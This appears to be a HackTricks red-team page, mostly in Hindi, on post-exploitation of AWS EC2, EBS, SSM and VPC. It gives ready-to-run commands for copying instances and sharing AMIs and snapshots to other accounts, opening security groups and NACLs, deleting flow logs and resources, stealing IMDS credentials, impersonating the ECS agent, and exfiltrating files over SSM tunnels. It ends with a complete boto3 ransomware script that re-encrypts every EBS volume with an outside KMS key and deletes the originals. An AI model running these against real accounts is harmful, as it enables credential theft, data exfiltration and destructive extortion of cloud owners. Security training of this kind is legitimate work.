AWS - EC2, EBS, SSM & VPC Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

EC2 & VPC

For more information check:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplicates inbound and outbound traffic for EC2 instances within a VPC without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.
An attacker could abuse this to capture all the traffic and obtain sensitive information from it:

For more information check this page:

AWS - Malicious VPC Mirror

Copy Running Instance

Instances usually contain some kind of sensitive information. There are different ways to get inside (check EC2 privilege escalation tricks). However, another way to check what it contains is to एक AMI बनाकर उससे एक नया instance (यहाँ तक कि अपने ही account में) चलाएँ:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, जो आमतौर पर संवेदनशील जानकारी रख सकते हैं, इसलिए इन्हें चेक करने पर यह जानकारी उजागर हो सकती है।
यदि आप किसी volume without a snapshot पाते हैं तो आप: Create a snapshot कर सकते हैं और निम्नलिखित क्रियाएँ कर सकते हैं या बस इसे खाते के अंदर किसी instance में mount it in an instance कर लें:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

EC2 AMI को सीधे S3 पर CreateStoreImageTask का उपयोग करके export करें ताकि snapshot sharing के बिना raw disk image प्राप्त हो सके। यह पूरी तरह offline forensics या data theft की सुविधा देता है जबकि instance का networking अनछुआ रहता है।

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only रूप में mount करके snapshots के बिना live डेटा निकालें। यह तब उपयोगी है जब victim volume पहले से ही उसी AZ में Multi-Attach के साथ enabled हो।

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

EC2 Instance Connect Endpoint बनाकर, ingress authorize करें, और ephemeral SSH keys inject करके managed tunnel के जरिए private instances तक पहुँच हासिल करें। यह public ports खोले बिना तेज़ lateral movement रास्ते देता है।

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

victim ENI के secondary private IP को attacker-controlled ENI पर मूवे करके उन trusted hosts का impersonation करें जो IP द्वारा allowlisted हैं। यह internal ACLs या SG rules जो specific addresses पर निर्भर हैं उन्हें bypass करने में सक्षम बनाता है।

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

victim instance से Elastic IP को attacker को reassociate करके inbound ट्रैफ़िक intercept करें या ऐसे outbound कनेक्शनों की शुरुआत करें जो trusted public IPs से आ रहे दिखते हैं।

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

यदि कोई security group rule किसी customer-managed prefix list का reference करता है, तो उस list में attacker CIDRs जोड़ने से बिना SG को modify किए हर dependent SG rule पर चुपचाप पहुंच बढ़ जाती है।

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

gateway या interface VPC endpoints बनाकर isolated subnets से outbound access फिर से हासिल करें। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass करके data exfiltration संभव होता है।

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

ec2:ReplaceNetworkAclEntry (or similar) permissions वाले एक attacker subnet की Network ACLs (NACLs) को बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरा subnet रेंज Internet या unauthorized network segments के लिए खुल सकता है। Security Groups के विपरीत, जो per-instance लागू होते हैं, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL को बदलने से कई और hosts तक पहुँच सक्षम कर के blast radius काफी बड़ा हो सकता है।

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

ec2:Delete* और iam:Remove* अनुमतियाँ रखने वाला एक हमलावर महत्वपूर्ण इंफ्रास्ट्रक्चर संसाधन और कॉन्फ़िगरेशन हटा सकता है — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तात्कालिक सेवा व्यवधान, डेटा हानि, और फॉरेंसिक सबूतों का नुकसान हो सकता है।

One example is deleting a security group:

aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

VPC Flow Logs को attacker-controlled S3 bucket की तरफ पॉइंट करें ताकि network metadata (source/destination, ports) को victim account के बाहर लगातार इकट्ठा किया जा सके और long-term reconnaissance के लिए रखा जा सके।

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

भले ही आप EC2 को lock down कर दें ताकि कोई ट्रैफ़िक बाहर न जा सके, यह फिर भी exfil via DNS कर सकता है।

  • VPC Flow Logs यह रिकॉर्ड नहीं करेगा
  • आपके पास AWS DNS logs का कोई access नहीं है।
  • इसे disable करने के लिए “enableDnsSupport” को false पर सेट करें:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

एक हमलावर अपने नियंत्रित account के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को log करेगा और हमलावर Cloudtrail logs में exfiltrate डेटा देख पाएगा।

Open Security Group

आप इस तरह पोर्ट खोलकर network services तक और पहुँच प्राप्त कर सकते हैं:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.

For more information check this.

ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)

ECS पर EC2 launch type के साथ, control plane हर task role को assume करता है और temporary credentials को Agent Communication Service (ACS) WebSocket चैनल के माध्यम से ECS agent को भेजता है। agent फिर उन credentials को containers को task metadata endpoint (169.254.170.2) के जरिए सर्व करता है। ECScape रिसर्च दिखाती है कि अगर कोई container IMDS तक पहुँच सकता है और instance profile चुरा लेता है, तो वह ACS पर agent का impersonate कर सकता है और उस host पर मौजूद every task role credential प्राप्त कर सकता है, जिनमें वे task execution role credentials भी शामिल हैं जो metadata endpoint पर एक्सपोज़ नहीं होते।

Attack chain

  1. Steal the container instance role from IMDS. IMDS access आवश्यक है ताकि ECS agent द्वारा उपयोग किए जाने वाले host role को प्राप्त किया जा सके।
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
  1. Discover the ACS poll endpoint and required identifiers. Instance role credentials का उपयोग करके, ecs:DiscoverPollEndpoint कॉल करके ACS endpoint प्राप्त करें और ऐसे identifiers इकट्ठा करें जैसे cluster ARN और container instance ARN। cluster ARN task metadata (169.254.170.2/v4/) के जरिए एक्सपोज़ होता है, जबकि container instance ARN को agent introspection API या (यदि अनुमति हो) ecs:ListContainerInstances से प्राप्त किया जा सकता है।
  2. Impersonate the ECS agent over ACS. poll endpoint पर SigV4-signed WebSocket initiate करें और sendCredentials=true शामिल करें। ECS इस कनेक्शन को एक वैध agent session के रूप में स्वीकार करता है और instance पर मौजूद सभी tasks के लिए IamRoleCredentials संदेश स्ट्रीम करना शुरू कर देता है। इसमें task execution role credentials भी शामिल हैं, जो ECR pulls, Secrets Manager retrievals, या CloudWatch Logs एक्सेस अनलॉक कर सकते हैं।

Find the PoC in https://github.com/naorhaziz/ecscape

IMDS reachability with IMDSv2 + hop limit 1

HttpTokens=required और HttpPutResponseHopLimit=1 के साथ IMDSv2 सेट करने से केवल वे tasks ब्लॉक होते हैं जो एक अतिरिक्त hop (Docker bridge) के पीछे रहते हैं। अन्य networking modes Nitro controller से एक ही hop के भीतर रहते हैं और फिर भी responses प्राप्त करते हैं:

ECS network modeIMDS reachable?Reason
awsvpcप्रत्येक task को अपना ENI मिलता है जो अभी भी IMDS से एक hop दूर है, इसलिए tokens और metadata responses सफलतापूर्वक पहुँचते हैं।
hostTasks host namespace शेयर करते हैं, इसलिए वे EC2 instance के समान hop distance देखते हैं।
bridgeResponses Docker bridge पर मर जाती हैं क्योंकि वह अतिरिक्त hop hop limit को समाप्त कर देता है।

इसलिए, never assume hop limit 1 protects awsvpc or host-mode workloads—हमेशा अपने containers के अंदर से टेस्ट करें।

Detecting IMDS blocks per network mode

  • awsvpc tasks: Nitro onu-host inject करता है इसलिए link-local 169.254.169.254 address को Security groups, NACLs, या routing tweaks से ब्लॉक नहीं किया जा सकता। /etc/ecs/ecs.config में ECS_AWSVPC_BLOCK_IMDS=true चेक करें। यदि यह flag गायब है (default) तो आप task से सीधे IMDS को curl कर सकते हैं। यदि यह सेट है, तो host/agent namespace में pivot करके इसे बदलें या अपना tooling awsvpc के बाहर चलाएँ।

  • bridge mode: जब metadata requests विफल होते हैं हालांकि hop limit 1 कॉन्फ़िगर है, तो defenders ने शायद DOCKER-USER drop rule लगाया होगा जैसे --in-interface docker+ --destination 169.254.169.254/32 --jump DROPiptables -S DOCKER-USER लिस्ट करने से यह उजागर होता है, और root access से आप IMDS को क्वेरी करने से पहले rule को डिलीट या reorder कर सकते हैं।

  • host mode: agent configuration में ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false की जाँच करें। यह सेटिंग task IAM roles को पूरी तरह हटा देती है, इसलिए आपको या तो इसे फिर से enable करना होगा, awsvpc tasks पर जाना होगा, या host पर किसी अन्य process के जरिए credentials चुराने होंगे। जब value true (default) हो, तो हर host-mode process—जिसमें compromised containers भी शामिल हैं—IMDS तक पहुँच सकती है जब तक कि bespoke eBPF/cgroup filters 169.254.169.254 को target न कर रहे हों; tc/eBPF programs या iptables rules जो उस address का संदर्भ लेते हैं उन्हें देखें।

Latacora ने यहाँ तक कि Terraform validation code रिलीज़ किया है जिसे आप target account में डालकर यह खोज सकते हैं कि कौन से network modes अभी भी metadata एक्सपोज़ करते हैं और उसी के अनुसार अपना अगला कदम प्लान कर सकते हैं।

एक बार जब आप समझ लें कि कौन से modes IMDS एक्सपोज़ करते हैं, तो आप अपना post-exploitation path प्लान कर सकते हैं: किसी भी ECS task को target करें, instance profile अनुरोध करें, agent का impersonate करें, और cluster के अंदर lateral movement या persistence के लिए बाकी task roles harvest करें।

Remove VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

आवश्यक अनुमति:

  • ssm:StartSession

कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे Security Groups या NACLs की वजह से नेटवर्क एक्सेस न होने वाले EC2 instances से pivot करने के लिए दुरुपयोग किया जा सकता है। यह तब उपयोगी होता है जब आप Bastion Host से एक private EKS cluster की ओर pivot कर रहे हों।

सेशन शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें
  2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें:
aws ssm start-session --target "$INSTANCE_ID"
  1. Bastion EC2 के AWS अस्थायी क्रेडेंशियल्स Abusing SSRF in AWS EC2 environment स्क्रिप्ट के साथ प्राप्त करें
  2. इन क्रेडेंशियल्स को अपनी मशीन पर $HOME/.aws/credentials फ़ाइल में [bastion-ec2] प्रोफ़ाइल के रूप में स्थानांतरित करें
  3. Bastion EC2 के रूप में EKS में लॉग इन करें:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. $HOME/.kube/config फ़ाइल में server फ़ील्ड को https://localhost पर इंगित करने के लिए अपडेट करें
  2. निम्नानुसार एक SSM tunnel बनाएं:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. kubectl टूल से ट्रैफ़िक अब Bastion EC2 के माध्यम से SSM टनल के जरिए फॉरवर्ड किया जाता है और आप अपनी मशीन से निम्नलिखित कमांड चलाकर private EKS cluster तक पहुँच सकते हैं:
kubectl get pods --insecure-skip-tls-verify

ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप --insecure-skip-tls-verify फ्लैग सेट नहीं करते (या K8s audit tools में इसका समकक्ष)। चूंकि ट्रैफ़िक सुरक्षित AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।

अंत में, यह technique विशेष रूप से attacking private EKS clusters तक सीमित नहीं है। आप arbitrary domains और ports सेट करके किसी भी अन्य AWS service या किसी custom application पर pivot कर सकते हैं।


Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)

यदि आपको केवल EC2 instance से आपके local host पर एक TCP port फॉरवर्ड करने की आवश्यकता है, तो आप AWS-StartPortForwardingSession SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

The command आपके workstation (localPortNumber) और instance पर चुने गए पोर्ट (portNumber) के बीच एक द्वि-दिशात्मक टनल स्थापित करता है without opening any inbound Security-Group rules

Common use cases:

  • File exfiltration
  1. instance पर उस डायरेक्टरी के लिए एक त्वरित HTTP सर्वर शुरू करें जिसे आप exfiltrate करना चाहते हैं:
python3 -m http.server 8000
  1. अपने workstation से SSM टनल के माध्यम से फाइलें प्राप्त करें:
curl http://localhost:8000/loot.txt -o loot.txt
  • आंतरिक वेब एप्लिकेशन तक पहुँच (उदा. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

टिप: exfiltrating से पहले सबूत को compress और encrypt करें ताकि CloudTrail clear-text content को लॉग न करे:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI साझा करें

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel एक टूल है जो सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए बनाया गया है। यह लक्षित AMIs से instances लॉन्च करने, उनकी volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।

EBS Snapshot साझा करें

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

यह एक प्रूफ ऑफ कॉन्सेप्ट है, जो S3 post-exploitation नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को RMS (Ransomware Management Service) के रूप में नामांकित किया जाना चाहिए, क्योंकि यह विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग में कितना आसान है।

पहले ‘attacker’ AWS खाते से, KMS में एक customer managed key बनाएँ। इस उदाहरण के लिए हम बस AWS को मेरे लिए key डेटा प्रबंधित करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key डेटा को AWS के नियंत्रण के बाहर रखेगा। key policy को बदलें ताकि किसी भी AWS account Principal को key का उपयोग करने की अनुमति मिल सके। इस key policy के लिए खाते का नाम ‘AttackSim’ था और सभी एक्सेस की अनुमति देने वाला policy नियम ‘Outside Encryption’ कहा जाता है।

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

अब सार्वजनिक रूप से उपलब्ध key के साथ। हम एक ‘victim’ account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चल रहे हैं और उनसे जुड़े unencrypted EBS volumes हैं। इस ‘victim’ account के EBS volumes को हम encrypt करने का लक्ष्य बना रहे हैं; यह attack उच्च-privilege AWS account के कथित उल्लंघन के अंतर्गत है।

Pasted image 20231231172655 Pasted image 20231231172734

S3 ransomware उदाहरण के समान। यह attack attached EBS volumes की snapshots बनाकर उनकी copies बनाएगा, ‘attacker’ account से सार्वजनिक रूप से उपलब्ध key का उपयोग करके नई EBS volumes को encrypt करेगा, फिर original EBS volumes को EC2 instances से detach करके delete कर देगा, और अंत में उन snapshots को भी delete कर देगा जिनसे नई encrypted EBS volumes बनाई गई थीं। Pasted image 20231231173130

जिसका परिणाम यह हुआ कि account में अब केवल encrypted EBS volumes ही उपलब्ध रहें।

Pasted image 20231231173338

ध्यान देने योग्य बात: script ने original EBS volumes को detach और delete करने के लिए EC2 instances को stop कर दिया था। मूल unencrypted volumes अब मौजूद नहीं हैं।

Pasted image 20231231173931

अगला कदम: ‘attacker’ account में key policy पर वापस जाएँ और key policy से ‘Outside Encryption’ policy rule को हटा दें।

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

नए सेट किए गए key policy के propagate होने के लिए कुछ क्षण प्रतीक्षा करें। फिर ‘victim’ account में लौटकर नए encrypted EBS volumes में से किसी एक को attach करने का प्रयास करें। आप पाएँगे कि आप volume को attach कर सकते हैं।

Pasted image 20231231174131 Pasted image 20231231174258

लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में फिर से start करने का प्रयास करते हैं तो यह बस fail कर जाएगा और ‘pending’ state से वापस ‘stopped’ state में चला जाएगा क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती।

Pasted image 20231231174322 Pasted image 20231231174352

यह वही python script है जो उपयोग की गई है। यह ‘victim’ account के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key का publicly available AWS ARN value लेता है। स्क्रिप्ट targeted AWS account में जुड़े हुए सभी EC2 instances के सभी उपलब्ध EBS volumes की encrypted copies बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete करेगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को delete कर देगा। इससे targeted ‘victim’ account में केवल encrypted EBS volumes ही बचे रहेंगे। केवल TEST environment में ही इस स्क्रिप्ट का उपयोग करें — यह विनाशकारी है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key की मदद से recover कर सकते हैं और snapshots के माध्यम से उनकी मूल स्थिति पर restore कर सकते हैं, पर बस यह बताना आवश्यक है कि अंततः यह एक ransomware PoC है।

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें